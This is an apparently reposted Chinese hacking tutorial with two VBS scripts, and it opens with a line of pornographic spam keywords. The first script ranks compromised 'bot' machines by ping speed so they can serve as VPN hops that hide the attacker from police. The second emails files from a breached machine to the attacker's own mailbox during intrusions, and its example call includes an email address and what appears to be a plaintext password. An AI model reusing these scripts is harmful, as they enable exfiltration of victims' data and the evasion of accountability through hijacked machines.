欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

利用VBS發(fā)送郵件 挑選速度快的肉雞做VPN 的vbs代碼

 更新時(shí)間:2007年12月13日 15:10:42   作者:   我要評論

一.挑選速度快的肉雞做VPN。 
當(dāng)自己從小菜鳥轉(zhuǎn)型為老菜鳥時(shí),就懂得考慮在玩Hacking的同時(shí)也要盡量保證不暴露 
自己。萬事,安全第一嘛!不然都不知道哪天玩著玩著就被警察叔叔帶去喝茶了^_^ 。 
因此,作為老菜鳥的我們,要學(xué)會在Hacking時(shí),多用VPN+終端等跳板措施來保護(hù)自己,盡量不讓自己直接暴露所處地。 
但是,由于跳板的增加,導(dǎo)致了數(shù)據(jù)傳輸?shù)木徛。因此我們完全有必要找網(wǎng)速快的機(jī)器來做VPN跳板。但如果讓自己做這些重復(fù)性的操作(從眾多的肉雞中挑選網(wǎng)速好的),那就太愧對老菜鳥這個(gè)稱呼了。對于學(xué)過編程的朋友來說,那簡直易如反掌。但對小菜來說,可能還有點(diǎn)難度。因此,今天我就先簡單的介紹下,如何用VBS幫我們挑選速度快的肉雞。 

復(fù)制代碼 代碼如下:

On Error Resume Next  
'code by NetPatch  
Set arg=Wscript.Arguments  
'聲明外部參數(shù)  
If Arg.count=0 then Wscript.quit  
'若沒有參數(shù)則退出腳本  
Num=0  

SzBuf = InputBox( "請輸入要找的Ping時(shí)間值:", "輸入", "200" )  
'調(diào)用彈出消息輸入框來獲取要查找的時(shí)間  
Set Fso=CreateObject("Scripting.FileSystemObject")  
'聲明FSO組件  
Set Gofile=Fso.OpenTextFile(Arg(0),1,False,-2)  
'打開拖進(jìn)來的文件  
Do While Gofile.Atendofline <> True  

Ip=Gofile.Readline  

'讀取一行  

Set oShell = WScript.CreateObject("WScript.Shell")  

'聲明WSH組件  

Set oExec = oShell.Exec("ping -n 1 "&Ip&"")  

'執(zhí)行PING命令,然后把結(jié)果附值到oExec  

Set File=fso.OpenTextFile(arg(0)&".txt",8,True)  

Do While Not oExec.StdOut.AtEndOfStream  

strOut = oExec.StdOut.ReadLine()  

If oExec.StdOut.line>4 then exit do  

'用循環(huán)讀取指定行數(shù)  

Loop  

If  
Cint(GET_Time(StrOut)) < Cint(SzBuf) Then  

File.Writeline Ip&chr(9)&"Ping時(shí)間值為:"&GET_Time(StrOut)&"秒"  

'找到小于指定時(shí)間的機(jī)器,并寫入新建立的文本  

Num=Num+1  

'找到后,記數(shù)(后面統(tǒng)計(jì)用)  

End if  
Loop  
File.Close  
Gofile.Close  
Set Fso=Nothing  

if num = 0 then  

wscript.echo "郁悶!一個(gè)也沒找到@_@"  
else  

wscript.echo "恭喜!找到"&num&"個(gè)"  
end if  

'用正則查找指定的PING時(shí)間值  
Function GET_Time(ss)  

Set re = New RegExp  

re.Pattern = "(.+from )(\d+.\d+.\d+.\d+): bytes=32 time=(\d+)ms(.+)"  

re.Global = True  

re.IgnoreCase = True  

re.MultiLine = True  

GET_Time = re.Replace(ss,"$3")  
end Function  

把你的肉雞IP列表拉到這個(gè)VBS腳本上,再填入你要找的PING時(shí)間值,即可很快找出哪臺肉雞相對比較快的(當(dāng)然,前提是你的肉雞沒防PING!不過話說回來,如果防PING的話,估計(jì)有防火墻一類的東西,可能也做不成VPN了。)。

二.利用VBS發(fā)送郵件 
有的時(shí)候,滲透時(shí),我們需要在DOS下打包對方的某些東西! 
有的時(shí)候,我們沒辦法上傳工具。 
有的時(shí)候,由于對方限制太嚴(yán)格,沒辦法利用FTP等方法傳東西。 
這個(gè)時(shí)候,下面的腳本就派上大用場了,可以很輕松的將對方的東西,當(dāng)附件發(fā)送到自己郵箱。(前提是,附件不要太大哦……不然很容易暴露D!) 

復(fù)制代碼 代碼如下:

function Send_mail(You_Account,You_Password,Send_Email,Send_Email2,Send_Topic,Send_Body,Send_Attachment)  
'code by NetPatch  
'VBS發(fā)送郵件參數(shù)說明  
'You_Account:你的郵件帳號  
'You_Password:你的郵件密碼  
'Send_Email:  
主要郵件地址  
'Send_Email2: 備用郵件地址  
'Send_Topic:  
郵件主題  
'Send_Body:  
郵件內(nèi)容  
'Send_Attachment:郵件附件  

You_ID=Split(You_Account, "@", -1, vbTextCompare)  
'帳號和服務(wù)器分離  
MS_Space = "http://schemas.microsoft.com/cdo/configuration/"  
'這個(gè)是必須要的,不過可以放心的事,不會通過微軟發(fā)送郵件  
Set Email = CreateObject("CDO.Message")  
Email.From = You_Account  
'這個(gè)一定要和發(fā)送郵件的帳號一樣  
Email.To = Send_Email  
'主要郵件地址  

If Send_Email2 <> "" Then  

Email.CC = Send_Email2  
'備用郵件地址  
End If  

Email.Subject = Send_Topic  
'郵件主題  
Email.Textbody = Send_Body  
'郵件內(nèi)容  

If Send_Attachment <> "" Then  

Email.AddAttachment Send_Attachment  
'郵件附件  
End If  

With Email.Configuration.Fields  
.Item(MS_Space&"sendusing") = 2  
'發(fā)信端口  
.Item(MS_Space&"smtpserver") = "smtp."&You_ID(1)  
'SMTP服務(wù)器地址  
.Item(MS_Space&"smtpserverport") = 25  
'SMTP服務(wù)器端口  
.Item(MS_Space&"smtpauthenticate") = 1  
'cdobasec  
.Item(MS_Space&"sendusername") = You_ID(0)  
'你的郵件帳號  
.Item(MS_Space&"sendpassword") = You_Password  
'你的郵件密碼  
.Update  
End With  
Email.Send  
'發(fā)送郵件  
Set Email=Nothing  
'關(guān)閉組件  

Send_Mail=True  
'如果沒有任何錯(cuò)誤信息,則表示發(fā)送成功,否則發(fā)送失敗  
If Err Then  

Err.Clear  

Send_Mail=False  
End If  
End Function  

'以下是利用上面的函數(shù)發(fā)送帶附件的郵件例子  
If Send_Mail("40649794@163.com","alan@113","alan113_520@163.com","","郵件主題","郵件內(nèi)容","d:\test.exe")=True Then  

Wscript.Echo "發(fā)送成功"  
Else  

Wscript.Echo "發(fā)送失敗"  
End If  

相關(guān)文章

最新評論